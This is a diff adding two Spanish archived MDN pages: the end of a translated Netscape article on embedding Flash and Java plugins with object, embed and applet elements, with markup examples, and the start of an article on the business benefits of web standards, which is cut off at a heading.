+<p>En el ejemplo de arriba, el atributo <code>classid</code> que va junto al elemento object apunta a un URN "clsid:" seguido de un único identificador de un control ActiveX (en el ejemplo de arriba, la cadena que comienza por "D27..."). Esto es, de hecho, el identificador único del plugin de Macromedia's Flash, y los desarrolladores se supone que conocen esos identificadores únicos para llamar al componente de su elección. El atributo <code>codebase</code> usado arriba apunta a la localización donde está el archivo CAB que contiene el control del ActiveX. En este contexto, el atributo codebase se usa como <strong>mecanismo de obtención</strong> (es decir, una forma de obtener el controlador si no esta presente). Si el control de ActiveX de Flash no está instalado, IE irá entonces a la URL indicada en el atributo codebase y obtendrá el control de ActiveX. Los elementos <code>param</code> adicionales (que son "hijos" del elemento object) especifican los parámetros de configuración para el plugin de Flash. Por ejemplo, <code>param name="movie"</code> indica al plugin de Flash la localización del archivo SWF para empezar a reproducirlo.</p>
+
+<p>Con la salida de Netscape 7.1, este tipo de uso de elementos object de ActiveX está soportado con el uso del Microsoft® Windows Media Player. Sólo el Windows Media Player está soportado como control de ActiveX en Netscape 7.1. Los detalles se indican en <a href="es/Windows_Media_en_Netscape">otro artículo</a>.</p>
+
+<p>Navegadores como Netscape 7 no renderizarán el plugin Flash si se usa el marcado de arriba, porque Netscape 7 no soporta llamadas a componentes ActiveX o basados en ActiveX, con la excepción del Windows Media Player en Netscape 7.1. Los navegadores basados en Mozilla soportan la arquitectura de plugin de Netscape, los cuales no estan basados en COM como el ActiveX (y por ello, no son llamados vía identificador único) sino basados en el tipo MIME. Los navegadores basados en Mozilla suportan el uso del elemento object junto con el tipo MIME. A continuación se muestra un ejemplo de este uso, una vez más para el plugin de Macromedia Flash:</p>
+
+<pre>&lt;object type="application/x-shockwave-flash" data="javascript-to-flash.swf"
+width="366" height="142" id="myFlash"&gt;
+    &lt;param name="movie" value="javascript-to-flash.swf" /&gt;
+    &lt;param name="quality" value="high" /&gt;
+    &lt;param name="swliveconnect" value="true" /&gt;
+    &lt;p&gt;You need Flash -- get the latest version from
+    &lt;a href= "http://www.macromedia.com/downloads/"&gt;here.&lt;/a&gt;&lt;/p&gt;
+&lt;/object&gt;
+</pre>
+
+<p>En el ejemplo anterior, <code>application/x-shockwave-flash</code> es el tipo MIME de Flash e invocará la arquitectura Flash específica de Netscape en navegadores basados en Mozilla. Los punteros de atributos que apuntan al fichero SWF a ejecutar, y los parámetros de configuración (los elementos <code>param</code>) son ambos usados de una forma consistente por IE y por los navegadores basados en Mozilla como Netscape 7. De hecho, lo visto anteriormente también funcionará para IE, que interpreta las invocaciones de tipo MIME para ciertos tipos MIME como Flash<em>además</em> de las invocaciones del estilo ActiveX <code>classid</code>.</p>
+
+<p>Debido a que el uso de los tipos MIME para Flash funcionará tanto para IE como para Netscape 7, se puede usar el código anterior el plugin de Flash tanto en IE como en Netscape 7. Sin embargo, hay algunas advertencias que los desarrolladores deben tener en cuenta cuando usen el elemento <code>object</code> en navegadores basados en Mozilla como es Netscape 7 y en IE:</p>
+
+<h4 id="Advertencias" name="Advertencias">Advertencias</h4>
+
+<ul>
+ <li>Si se usa un único elemento <code>object</code> para ambos navegadores (como en el ejemplo anterior), <strong>no será posible facilitar un<em>mecanismo de obtención</em> multiplataforma para descargas en flujo</strong>. No se puede usar el atributo <code>codebase</code> para enlazarlo a un fichero CAB firmado para el componente ActiveX ya que no funcionará en los navegadores basados en Mozilla tales como Netscape 7. Y lo que es más importante, el uso que IE hace del atributo <code>codebase</code> como mecanismo de obtención en sí no es estrictamente correcto conforme la especificación HTML 4.01, la cual dice que el atributo <code>codebase</code> debería ser usado para cualificar URNs referenciadas por los atributos <code>data</code>, <code>archivo</code> y <code>classid</code>. Los futuros navegadores de Netscape basados en el código fuente de Mozilla permitirán el uso del elemento especial <code>param</code> para especificar de dónde obtener los plugins que no estén instalados, pero esta característica no está disponible en Netscape 7 sino que está siendo discutida en Mozilla <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=167601" title='FIXED: [object] Support &amp;amp;lt;param name="PLUGINURL" ...>'>error 167601</a>.</li>
+</ul>
+
+<ul>
+ <li><strong>IE no muestra correctamente los elementos <code>object</code> anidados de acuerdo a la especificación HTML 4.01</strong>. Conforme a la especificación, se pueden anidar elementos y los navegadores deberían detenerse cuando encuentren un elemento que puedan visualizar y sino, seguir buscando en los niveles más internos hasta encontrar alguno. IE lo muestra todo, como si estuviera puesto en fila y no anidado. De este modo IE en el siguiente ejemplo, en lugar de pararse en el control ActiveX mostrará la animación dos veces ya que reconoce el tipo MIME para Flash:</li>
+</ul>
+
+<pre>&lt;!-- Usage Will Not Work As Intended --&gt;
+&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"
+width="366" height="142" id="myFlash"&gt;
+    &lt;param name="movie" value="javascript-to-flash.swf" /&gt;
+    &lt;param name="quality" value="high" /&gt;
+    &lt;param name="swliveconnect" value="true" /&gt;
+
+	&lt;object type="application/x-shockwave-flash" data="javascript-to-flash.swf"
+	 width="366" height="142" id="myFlashNSCP"&gt;
+		&lt;param name="movie" value="javascript-to-flash.swf" /&gt;
+    		&lt;param name="quality" value="high" /&gt;
+    		&lt;param name="swliveconnect" value="true" /&gt;
+		&lt;p&gt;You need Flash -- get the latest version from
+		 &lt;a href="http://www.macromedia.com/downloads/"&gt;
+		here.&lt;/a&gt;&lt;/p&gt;
+	&lt;/object&gt;
+
+&lt;/object&gt;
+</pre>
+
+<ul>
+ <li><strong>Los diseñadores Web tienen que especificar un<em>mecanismo de obtención</em> en los navegadores basados en Mozilla (el navegador no descargará automáticamente los plugins no instalados si no se especifica de dónde descargarlos a través del atributo <code>codebase</code></strong>. Si no se especifica ningún atributo <code>codebase</code> y el plugin no está instalado, el navegador mostrará sólo el texto alternativo más interno. Sino, se intentará descargar el plugin que falta a través del servicio Netscape Plugin Finder. Este comportamiento es correcto de acuerdo a la especificación HTML 4.01 aunque obliga a los diseñadores web a especificar diligentemente<em>mecanismos de obtención</em>. Como mínimo, los diseñadores Web tendrán que anidar un texto alternativo dentro de sus elementos <code>&lt;object&gt;</code> diciéndole a los usuarios dónde pueden obtener el componente que falta. Añadir una conveniente capa adicional de la forma de recuperación automática es el tema de una <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=180411" title="Plugin Finder Service is not invoked for OBJECT element">error 180411</a> en el código abierto de Mozilla.</li>
+</ul>
+
+<ul>
+ <li><strong>Algunos plugins no entienden parte de los elementos <code>param</code> que su documentación sugiere deberían ser configurados en los navegadores basados en Mozilla.</strong> Un ejemplo son las versiones del reproductor de Macromedia Flash hasta Flash Player 6 r.47, el cual no comprende el elemento parámetro <code>&lt;param name="movie" value="animation.swf"&gt;</code>, que se supone dice al reproductor Flash qué animación debería empezar a reproducir. Para que funcione, se anima a los desarrolladores a que usen el atributo <code>data</code> del elemento <code>object</code>: <code>&lt;object type="application/x-shockwave-flash" data="animation.swf"..../&gt;</code>. El hecho de que el reproductor Flash no comprenda este <code>param</code> es un fallo de Macromedia Flash Player del que se habla en la <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=180378" title='macromedia.com - Flash ought to support &amp;amp;lt;param name="movie..."> in addition to data attribute'>error 180378</a>.</li>
+</ul>
+
+<h4 id="Recomendaciones" name="Recomendaciones">Recomendaciones</h4>
+
+<p>Para superar el inconveniente de no poder anidar elementos <code>object</code> en IE y de no existir el modo de usar simplemente un elemento <code>object</code> de modo multiplataforma (con mecanismos de obtención específicos de la arquitectura), la mejor solución es escribir elementos <code>object</code> dinámicamente basándose en la arquitectura. Por ejemplo, en los navegadores que soportan ActiveX como IE, creando un elemento con un atributo <code>classid</code> y en navegadores que soportan la arquitectura de plugins de Netscape, usando un tipo MIME. A continuación se muestra un ejemplo en JavaScript que ilustra esto:</p>
+
+<pre>if (window.ActiveXObject)
+{
+
+// browser supports ActiveX
+// Create object element with
+// download URL for IE OCX
+
+document.write('&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"');
+document.write(' codebase="http://download.macromedia.com');
+document.write('/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"');
+document.write(' width="366" height="142" id="myFlash"&gt;');
+document.write(' &lt;param name="movie" value="javascript-to-flash.swf" /&gt;');
+document.write(' &lt;param name="quality" value="high" /&gt;');
+document.write(' &lt;param name="swliveconnect" value="true" /&gt;');
+document.write('&lt;\/object&gt;');
+
+}
+
+else
+{
+
+// browser supports Netscape Plugin API
+
+document.write('&lt;object id="myFlash" data="javascript-to-flash.swf"');
+document.write(' type="application/x-shockwave-flash"');
+document.write(' width="366" height="142"&gt;');
+document.write('&lt;param name="movie" value="javascript-to-flash.swf" /&gt;');
+document.write('&lt;param name="quality" value="high" /&gt;');
+document.write('&lt;param name="swliveconnect" value="true" /&gt;');
+document.write('&lt;p&gt;You need Flash for this.');
+document.write(' Get the latest version from');
+document.write(' &lt;a href="http://www.macromedia.com/downloads"&gt;here&lt;\/a&gt;.');
+document.write('&lt;\/p&gt;');
+document.write('&lt;\/object&gt;');
+
+}
+</pre>
+
+<p>Véase también: <a class="external" href="http://www.alistapart.com/articles/flashsatay/">Flash Satay</a></p>
+
+<h4 id="El_elemento_object_y_Java" name="El_elemento_object_y_Java">El elemento object y Java</h4>
+
+<p>Los navegadores basados en Mozilla como Netscape 6.x, Netscape 7 y CompuServe 7 vienen con el <a class="external" href="http://java.sun.com/j2se/downloads.html">plugin para Java que Sun proporciona</a>. Los usuarios que instalen Netscape 6.x o Netscape 7 tienen la opción de instalar o no Java. A diferencia de Netscape Communicator 4.x, Netscape 6.x y 7 que no tienen por defecto una máquina virtual Java -- ellos dependen del plugin de Sun. Durante la época de Netscape Communicator 4.x, Netscape Communications solía desarrollar una máquina virtual Java que soportaba Java 1.5.0 y anterior. Ahora, con Netscape 6 y 7, la máquina virtual Java es un plugin de Sun. Netscape ya no desarrolla o incluye una máquina virtual Java por defecto con el nevegador.</p>
+
+<p>El plugin para Java de Sun puede ser invocado por el elemento <code>object</code>, como cualquier otro plugin. Una vez más, Internet Explorer típicamente invoca el plugin de forma que el elemento <code>object</code> es usado conjuntamente con el atributo <code>classid</code> que apunta a un identificador único ActiveX. Cada versión superior del plugin tiene un identificador único. Este es un ejemplo del tipo de etiqueta que JRE 1.4.1 invocará en IE, usando el identificador único para JRE 1.4.1:</p>
+
+<pre>&lt;!-- IE ONLY CODE --&gt;
+&lt;object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"
+     width="460" height="160"
+codebase="http://java.sun.com/products/plugin/autodl/jinstall-1_4_1-windows-i586.cab#version=1,4,1"&gt;
+     &lt;param...&gt;
+     &lt;param...&gt;
+&lt;/object&gt;
+</pre>
+
+<p>La invocación anterior no funcionará en navegadores basados en Mozilla como Netscape 7 a causa de la razón vista anteriormente: <code>classid</code> usado conjuntamente con el identificador único hace referencia a una arquitectura (ActiveX) que el código de Mozilla (y, por lo tanto, Netscape 7) no soporta. Puedes invocar el plugin de Java para Netscape 7 y otros navegadores basados en Mozilla usando el tipo MIME para Java apropiado. Aquí se muestra un ejemplo:</p>
+
+<pre>&lt;object type="application/x-java-applet;jpi-version=1.4.1_01"
+width="460" height="160"&gt;
+	&lt;param name="code" value="Animator.class" /&gt;
+	&lt;param name="imagesource" value="images/Beans" /&gt;
+	&lt;param name="backgroundcolor" value="0xc0c0c0" /&gt;
+	&lt;param name="endimage" value="10" /&gt;
+	&lt;param name="soundsource" value="audio"&gt;
+	&lt;param name="soundtrack" value="spacemusic.au" /&gt;
+	&lt;param name="sounds" value="1.au|2.au|3.au|4.au|5.au|6.au|7.au|8.au|9.au|0.au" /&gt;
+	&lt;param name="pause" value="200" /&gt;
+	&lt;p&gt;You need the Java Plugin.
+         Get it from &lt;a href="http://java.sun.com/products/plugin/index.html"&gt;here.&lt;/a&gt;&lt;/p&gt;
+&lt;/object&gt;
+</pre>
+
+<p>El código anterior menciona una versión específica de un tipo MIME, y si el navegador basado en Mozilla como Netscape 7 no tiene instalado JRE 1.4.1_01, el texto alterno es mostrado. No es necesario siempre dar una versión específica de un tipo MIME. Si no te estás aprovechando de las características específicas de alguna versión concreta, un tipo MIME más genérico como <code>application/x-java-vm</code> funcionará igual de bien. Los parámetros de configuración para el applet, incluyendo la clase que contiene el punto de entrada inicial (Animator.class, referenciado por el elemento <code>param</code>), son específicos en muchos elementos <code>param</code>.</p>
+
+<p>Los navegadores basados en Mozilla como Netscape 7 también permiten el uso de un atributo especial <code>classid</code>. Este es el especial <code>classid</code> "java:". Aquí vemos un ejemplo usando este método de invocación:</p>
+
+<pre>&lt;object classid="java:NervousText.class" width="534" height="50"&gt;
+	&lt;param name="text" value="Java 2 SDK, Standard Edition v1.4" /&gt;
+	&lt;p&gt;You need the Java Plugin.
+	   Get it from
+	   &lt;a href="http://java.sun.com/products/plugin/index.html"&gt;here.
+	   &lt;/a&gt;
+	&lt;/p&gt;
+&lt;/object&gt;
+</pre>
+
+<p>el <code>classid</code> "java:" te permite referenciar la clase que proporciona el punto de entrada inicial. El resto de los parámetros de configuración funcionan gracias a los elementos <code>param</code>.</p>
+
+<h4 id="Applet.2C_la_elecci.C3.B3n_t.C3.ADpica" name="Applet.2C_la_elecci.C3.B3n_t.C3.ADpica">Applet, la elección típica</h4>
+
+<p>El elemento <code>applet</code> continúa siendo el más soportado, y sigue siendo la forma más popular de invocar applets en Java. En Netscape 7 y CompuServe 7, el elemento <code>applet</code> invoca directamente el plugin de Java. Aquí vemos un ejemplo:</p>
+
+<pre>&lt;applet code="NervousText.class" width="534" height="50"&gt;
+	&lt;param name="text" value="Java(TM) 2 SDK, Standard Edition v1.4" /&gt;
+&lt;/applet&gt;
+</pre>
+
+<p>El elemento <code>applet</code> ha sido despreciado en la especificación HTML 4.01, pero una ventaja de usarlo es que en navegadores basados en Mozilla como Netscape 7, si has perdido Java, un mecanismo automático de obtención lo reemplaza. El navegador usará el Netscape's Plugin Finder Service para descargar el plugin de Java. La sección <a href="#References">References</a> reúne recursos de como usar el elemento applet.</p>
+
+<h4 id="El_elemento_embed" name="El_elemento_embed">El elemento embed</h4>
+
+<p>El elemento <code>embed</code> ha sido usado para invocar plugins desde los primeros tiempos de los navegadores Netscape. Típicamente, el elemento <code>embed</code> es anidado con un elemento <code>object</code>, tal que el otro elemento <code>object</code> invoca un control ActiveX para IE, mientras que el elemento interno <code>embed</code> invoca un plugin de Netscape. Aquí vemos un ejemplo de este uso:</p>
+
+<pre>&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0"
+width=366 height=142 id="myFlash"&gt;
+	&lt;param name="movie" value="javascript_to_flash.swf" /&gt;
+	&lt;param name="quality" value="high" /&gt;
+	&lt;param name="swliveconnect" value="true" /&gt;
+		&lt;embed src="javascript_to_flash.swf" quality="high" width="366" height="142"
+    		type="application/x-shockwave-flash"
+    		pluginspage="http://www.macromedia.com/downloads/"
+    		name="myFlash" swliveconnect="true"&gt;
+    		&lt;/embed&gt;
+&lt;/object&gt;
+</pre>
+
+<p>Enlaces a las normas que marcan el uso del elemento <code>embed</code> pueden ser vistas en la sección <a href="#References">References</a>. El elemento <code>embed</code> es habitualmente el elemento más ampliamente usado para invocar plugins en navegadores Netscape. Es importante indicar, sin embargo, que el elemento <code>embed</code> no es parte de la especificación HTML 4.01, por lo que no es un estándar W3C. Algunas advertencias que marcan el uso del elemento <code>embed</code> son:</p>
+
+<ul>
+ <li>No incluyas un atributo <code>name</code> con el elemento <code>object</code>, especialmente si tiene el mismo nombre que el elemento <code>embed</code>. Sin embargo hacerlo también viola el estándar HTML 4.01, algunos generadores de código dan atributos <code>name</code> al elemento <code>object</code>. Navegadores basados en Mozilla no te permitirán el acceso al elemento llamado <code>embed</code> a través de métodos JavaScript DOM 0 si el elemento <code>object</code> tiene el mismo <code>name</code>. Utiliza el atributo <code>id</code> con el elemento <code>object</code>. El atributo <code>id</code> del elemento <code>object</code> puede tener el mismo valor que el atributo <code>name</code> del elemento <code>embed</code>.</li>
+ <li>Verás que el elemento <code>embed</code> permite parámetros de configuración pasados a través de atributos a medida, como <code>swliveconnect="true"</code>. Éstos son análogos a los elementos <code>param</code> usados por el elemento <code>object</code>. Plugins de otras compañías requerirán que diferentes parámetros de configuración sean pasados a través del elemento <code>embed</code>, y aprender éstos es aconsejable.</li>
+</ul>
+
+<p>Nótese que el <strong>mecanismo de obtención</strong> para el elemento <code>embed</code> -- esto es, la forma en como un plugin se obtiene si se ha perdido -- viene a través del atributo <code>pluginspage</code>. Este atributo apunta a una página para coger el plugin si éste no se detecta por el navegador. El atributo <code>pluginurl</code> es otro atributo que puede ser usado, y puede ser usado para apuntar directamente a un archivo <a href="es/XPInstall">XPInstall</a> para una descarga más racionalizada. Para el elemento <code>embed</code> en concreto, estos atributos en Netscape 7 y Mozilla son mandados por la opción Plugin Finder Service. Debajo de Editar | Preferencias | Navegador | Aplicaciones de ayuda es una opción para usar el Plugin Finder Service de Netscape. Si el usuario ha seleccionado<em>Siempre usar Netscape Plugin Finder Service para obtener Plugins</em> entonces si estos atributos son o no especificados no produce ninguna diferencia -- el navegador<em>siempre</em> consultará con el Plugin Finder Service para determinar si tiene un plugin para manejar el tipo MIME perdido. Si esta opción no está marcada, el Plugin Finder Service será usado sólo si el autor de la página web<em>NO</em> especifica cualquiera de estos atributos.</p>
+
+<h3 id="Informaci.C3.B3n_del_documento_original" name="Informaci.C3.B3n_del_documento_original">Información del documento original</h3>
+
+<ul>
+ <li>Autor(es): Arun K. Ranganathan, Netscape Communications</li>
+ <li>Última actualización: 14. Nov 2002</li>
+ <li>Información de Copyright: Copyright © 2001-2003 Netscape. Todos los derechos reservados.</li>
+ <li>Link: <a class="external" href="http://devedge-temp.mozilla.org/viewsource/2002/markup-and-plugins/index_en.html" rel="freelink">http://devedge-temp.mozilla.org/view.../index_en.html</a></li>
+</ul>
+
+<h4 id="Referencias" name="Referencias">Referencias</h4>
+
+<h5 id="General_--_Especificaciones" name="General_--_Especificaciones">General -- Especificaciones</h5>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-html40">Especificación HTML 4.01</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/xhtml1/">Especificación XHTML 1.0</a></li>
+</ul>
+
+<h5 id="El_elemento_.3Cobject.3E" name="El_elemento_.3Cobject.3E">El elemento <code>&lt;object&gt;</code></h5>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#edef-OBJECT">Especificación en el elemento Object HTML 4.01</a></li>
+</ul>
+
+<h5 id="El_elemento_.3Cembed.3E" name="El_elemento_.3Cembed.3E">El elemento <code>&lt;embed&gt;</code></h5>
+
+<ul>
+ <li><a href="es/Gecko_Plugin_API_Reference/Plug-in_Basics">Plugin API Reference on EMBED element</a> <a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2002/plugin/1.0/intro.html#1002612">on devedge-temp</a></li>
+</ul>
+
+<h5 id="Java" name="Java">Java</h5>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-html40/struct/objects.html#edef-APPLET">HTML 4.01 Applet Definition (Deprecated)</a></li>
+ <li><a class="external" href="http://java.sun.com/products/plugin/index.html">Java Plugin Homepage</a></li>
+ <li><a class="external" href="http://java.sun.com/products/plugin/versions.html">Sun Documentation on OBJECT, EMBED, and APPLET and Different Plugin Versions</a></li>
+ <li><a class="external" href="http://java.sun.com/products/plugin/1.4.1/demos/applets.html">Sun Demonstration of Web Pages using Applet Element</a></li>
+ <li><a class="external" href="http://java.sun.com/products/plugin/1.4.1/demos/plugin/applets.html">Sun Demonstration of Web Pages Using OBJECT/EMBED Elements</a></li>
+</ul>
+
+<h5 id="Bugs_y_futuras_direcciones_en_Netscape_y_Mozilla" name="Bugs_y_futuras_direcciones_en_Netscape_y_Mozilla">Bugs y futuras direcciones en Netscape y Mozilla</h5>
+
+<ul>
+ <li><a href="es/Windows_Media_in_Netscape">Windows Media in Netscape</a> Netscape 7.1 and the Windows Media ActiveX control</li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=180378" title='macromedia.com - Flash ought to support &amp;amp;lt;param name="movie..."> in addition to data attribute'>error 180378</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=167601" title='FIXED: [object] Support &amp;amp;lt;param name="PLUGINURL" ...>'>error 167601</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=180411" title="Plugin Finder Service is not invoked for OBJECT element">error 180411</a></li>
+</ul>
+
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki, vínculos a otros idiomas</span></p>
diff --git a/files/es/archive/estándares_web/ventajas_para_los_negocios_del_uso_de_estándares_web/index.html b/files/es/archive/estándares_web/ventajas_para_los_negocios_del_uso_de_estándares_web/index.html
new file mode 100644
index 0000000000..acc168d514
--- /dev/null
+++ b/files/es/archive/estándares_web/ventajas_para_los_negocios_del_uso_de_estándares_web/index.html
@@ -0,0 +1,62 @@
+---
+title: Ventajas para los negocios del uso de estándares web
+slug: Archive/Estándares_Web/Ventajas_para_los_negocios_del_uso_de_estándares_web
+tags:
+  - Desarrollo_Web
+  - Estándares_Web
+  - Todas_las_Categorías
+translation_of: Archive/Web_Standards/The_Business_Benefits_of_Web_Standards
+---
+<h2 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h2>
+<p>Más con menos, esta parece ser la misión imposible de los diseñadores web: Dirigirse a más clientes, a una audiencia creciente, con mayor diversidad de navegadores, mejorando la accesibilidad, con usuarios que piden más velocidad, y todo esto reduciendo los costes de mantenimiento o rediseño del sitio. Atrapados entre la espada y la pared, los webmasters afrontan un desafío formidable. Pero cuentan con un aliado insospechado en la batalla, los estándares web.</p>
+<p>Este artículo explica cómo, ser fiel a los estándares web, y dejar de lado el código y las tecnologías propietarias, puede contribuir a los objetivos comerciales de una compañía.</p>
+<h2 id="Dar_al_sitio_un_dise.C3.B1o_uniforme" name="Dar_al_sitio_un_dise.C3.B1o_uniforme">Dar al sitio un diseño uniforme</h2>
+<p>Separando el contenido de la presentación los diseñadores web tienen mucho ganado. El estilo es definido con CSS, un lenguaje orientado a la presentación. Guardar el código CSS en un documento separado (hoja de estilo) y aplicarlo a un grupo de documentos HTML permite cambiar por completo el diseño para todos esos documentos fácilmente. El HTML estricto (a diferencia del marcado transicional), no permite el uso de etiquetas de estilo en los documentos HTML, forzando con naturalidad la separación de contenido y presentación.</p>
+<h2 id="Mejorar_la_experiencia_de_Usuario:" name="Mejorar_la_experiencia_de_Usuario:">Mejorar la experiencia de Usuario:</h2>
+<h3 id="Cargar_m.C3.A1s_r.C3.A1pido.2C_consumiendo_menos_ancho_de_banda" name="Cargar_m.C3.A1s_r.C3.A1pido.2C_consumiendo_menos_ancho_de_banda">Cargar más rápido, consumiendo menos ancho de banda</h3>
+<p>El código HTML suele ser mucho más compacto cuando es usado conjuntamente con CSS, y por lo tanto es más fácil de leer y mantener. Según varios estudios sobre el caso, y <a class="external" href="http://webword.com/interviews/king.html">Andy King</a>, el autor de <a class="external" href="http://www.websiteoptimization.com/speed/5/">Speed Up Your Web Site: Web Site Optimization</a>, CSS posibilita la transformación de maquetaciones a base de tablas en diseños basados en CSS. Hacerlo, suele reducir el tamaño de las páginas entre un 25 y un 50 %. Esto se traduce en una mejor experiencia de usuario, <a class="external" href="http://www.useit.com/papers/responsetime.html">según el Gurú de la usabilidad Jakob Nielsen</a>, que apunta que los usuarios tienden a cerrar una página Web cuando tarda más de 10 segundos en cargar.</p>
+<h2 id="Aumentar_el_tr.C3.A1fico_del_sitio" name="Aumentar_el_tr.C3.A1fico_del_sitio">Aumentar el tráfico del sitio</h2>
+<h3 id="Mejorar_el_posicionamiento_en_los_buscadores" name="Mejorar_el_posicionamiento_en_los_buscadores">Mejorar el posicionamiento en los buscadores</h3>
+<p>Conseguir un buen posicionamiento es uno de los mayores desafíos que un webmasters debe afrontar. En este asunto toda ayuda es buena.</p>
+<p>Los robots de los buscadores rastrean la web para indexarla. Comparados con una persona, los robots ven la web de un modo muy distinto. Los efectos dinámicos creados con JavaScript son ignorados (de flash ni hablamos), y el texto dentro de los gráficos tampoco será leído. La separación de contenidos y presentación aumenta el ratio información/código, haciendo los documentos basados en CSS más apropiados para su consulta por parte de usuarios no humanos, lo cual mejora su posición en los resultados de los buscadores.</p>
+<p>Crear los títulos con texto y CSS en vez de gráficos también ayuda.</p>
+<h3 id="Adaptaci.C3.B3n_a_m.C3.BAltiples_plataformas" name="Adaptaci.C3.B3n_a_m.C3.BAltiples_plataformas">Adaptación a múltiples plataformas</h3>
+<p>Estándares y multiplataforma van de la mano. Mientras algunos navegadores caprichosos tienen comportamientos diferentes según la plataforma, los navegadores basados en Mozilla están diseñados para comportarse igual en todas las plataformas soportadas (Mac, Linux, Unix, Windows ...)</p>
+<h2 id="Pensando_en_el_ma.C3.B1ana" name="Pensando_en_el_ma.C3.B1ana">Pensando en el mañana</h2>
+<p>Una parte muy significativa de la información almacenada electrónicamente es producida para la web y escrita en formato HTML. La mayor parte de esta información usa HTML no válido, que puede ser mostrado correctamente en navegadores viejos más permisivos. Pero la web evoluciona; los navegadores web pueden ser menos permisivos, o comportarse de modo diferente cuando detectan código no válido (p.ej parsea los datos inválidos y los renderiza de otro modo). La utilización de código válido, conforme a los estándares asegura que los datos serán reutilizables durante mucho tiempo, porque las especificaciones de cómo analizar los formatos estándar están bien documentadas y son estables.</p>
+<p>En contra de la creencia popular, escribir código estándar no significa producir contenidos menos atractivos. De hecho, siguiendo los estándares puede hacerse casi todo lo que se hace con las extensiones propietarias, con la ventaja añadida de ser multiplataforma y una apuesta de futuro.</p>
+<h2 id="Extensibilidad" name="Extensibilidad">Extensibilidad</h2>
+<p>Usar HTML estricto y separar la estructura del contenido prepara el terreno para XHTML, que es una versión de HTML compatible con XML. La Utilización de XHTML permitirá a los desarrolladores web usar herramientas del mundo XML, tales como XSLT, que permite manipular datos XML fácilmente.</p>
+<p>El uso de XHTML es una introducción a la familia de estándares que conforman las tecnologías XML, como XML, XSLT (transformando documentos), SVG (gráficos animados), MathML (expresiones matemáticas)... Estas tecnologías han sido diseñadas para ser interoperables, y son la base de los Servicios Web. Este va mucho más allá del simple diseño web.</p>
+<h2 id="Reducir_los_costes_de_mantenimiento" name="Reducir_los_costes_de_mantenimiento">Reducir los costes de mantenimiento</h2>
+<p>El mantenimiento de un sitio Web es a menudo costoso y usar estándares web puede ayudar mucho en este aspecto.</p>
+<h3 id="Ventajas_de_CSS_sobre_JavaScript" name="Ventajas_de_CSS_sobre_JavaScript">Ventajas de CSS sobre JavaScript</h3>
+<p>Es frecuente usar gráficos o javaScript para añadir algún efecto especial al texto. Las hojas de estilo dan a los diseñadores un control total sobre la tipografía y permite efectos como los rollovers. Esto reduce la necesidad de crear gráficos y programar scripts, y lo que es más importante, reduce el ancho de banda que consumen las imágenes.</p>
+<h3 id="C.C3.B3digo_HTML_bien_formado" name="C.C3.B3digo_HTML_bien_formado">Código HTML bien formado</h3>
+<p>Uno de los principales dolores de cabeza de los desarrolladores es la diferencia en como los distintos navegadores muestran las páginas web. Tales diferencias de renderizado son propias de navegadores antiguos, la mayoría son conocidas y están documentadas. En muchos casos, las divergencias son causadas por un código ambiguo.</p>
+<p>El código gramaticalmente correcto reduce considerablemente las diferencias de renderizado entre los navegadores. La utilización de instrumentos de validación como el <a class="external" href="http://validator.w3.org/">validador del W3C</a> ayudan a detectar los errores y a comprobar que el código HTML es gramaticalmente correcto, esto elimina la ambigüedad en el parseo que hacen los navegadores.</p>
+<h2 id="Compatibilidad_con_m.C3.BAltiples_navegadores" name="Compatibilidad_con_m.C3.BAltiples_navegadores">Compatibilidad con múltiples navegadores</h2>
+<p>Cada vez son más los navegadores, además del IE, usados para surfear por la web:</p>
+<ul> <li>Windows: MSIE, navegadores basados en Gecko, Ópera...</li> <li>Mac: MS-Tasman(motor de renderizado IE/Mac's), navegadores basados en Gecko, Safari, Ópera...</li> <li>GNU/Linux: navegadores basados en Gecko, navegadores basados en KHTML, Ópera...</li>
+</ul>
+<p>A grosso modo, para surfear en la web se usan 5 motores de renderizado diferentes, en docenas de navegadores, para las 3 plataformas principales.</p>
+<p>Según todas las fuentes, los navegadores basados en Gecko son cada día más populares. Firefox ha sido descargado más de 200 millones de veces.</p>
+<p>En un entorno cada vez más heterogéneo, probar las páginas Web en todas las configuraciones es imposible. el código estándar se convierte en la única solución viable. <span class="comment">== The Netscape 4 and IE4 exceptions == The only drawback in using CSS is that older browsers (specifically IE4 and NS4) will not be able to render as intended. In some cases, where a significant portion of the audience is running Netscape 4.x, use of simple tables for layout and CSS for font control may be a solution. Another option is to serve HTML content to Netscape 4.x users, without CSS style. The content will be usable but not as attractively presented as in a modern browser. Furthermore, 4.x browsers are known to have security issues, so their users should be encouraged to upgrade.</span></p>
+<h2 id="Accesibilidad" name="Accesibilidad">Accesibilidad</h2>
+<p>Ser accesible es un requisito para las agencias gubernamentales de muchos países: EE.UU, España o Brasil y en algunos países como Australia, para cualquier organización el código estándar (en concreto,HTML estricto y CSS para la maquetación) hace de la accesibilidad un objetivo más fácil, porque los estándares han sido creados pensando en la accesibilidad.</p>
+<p>Cuidando la accesibilidad seremos capaces de servir contenidos web a una mayor audiencia, y aumentamos la usabilidad del sitio, incluso para la gente sin minusvalía.</p>
+<h2 id="Reducir_la_dependencia_del_desarrollador" name="Reducir_la_dependencia_del_desarrollador">Reducir la dependencia del desarrollador</h2>
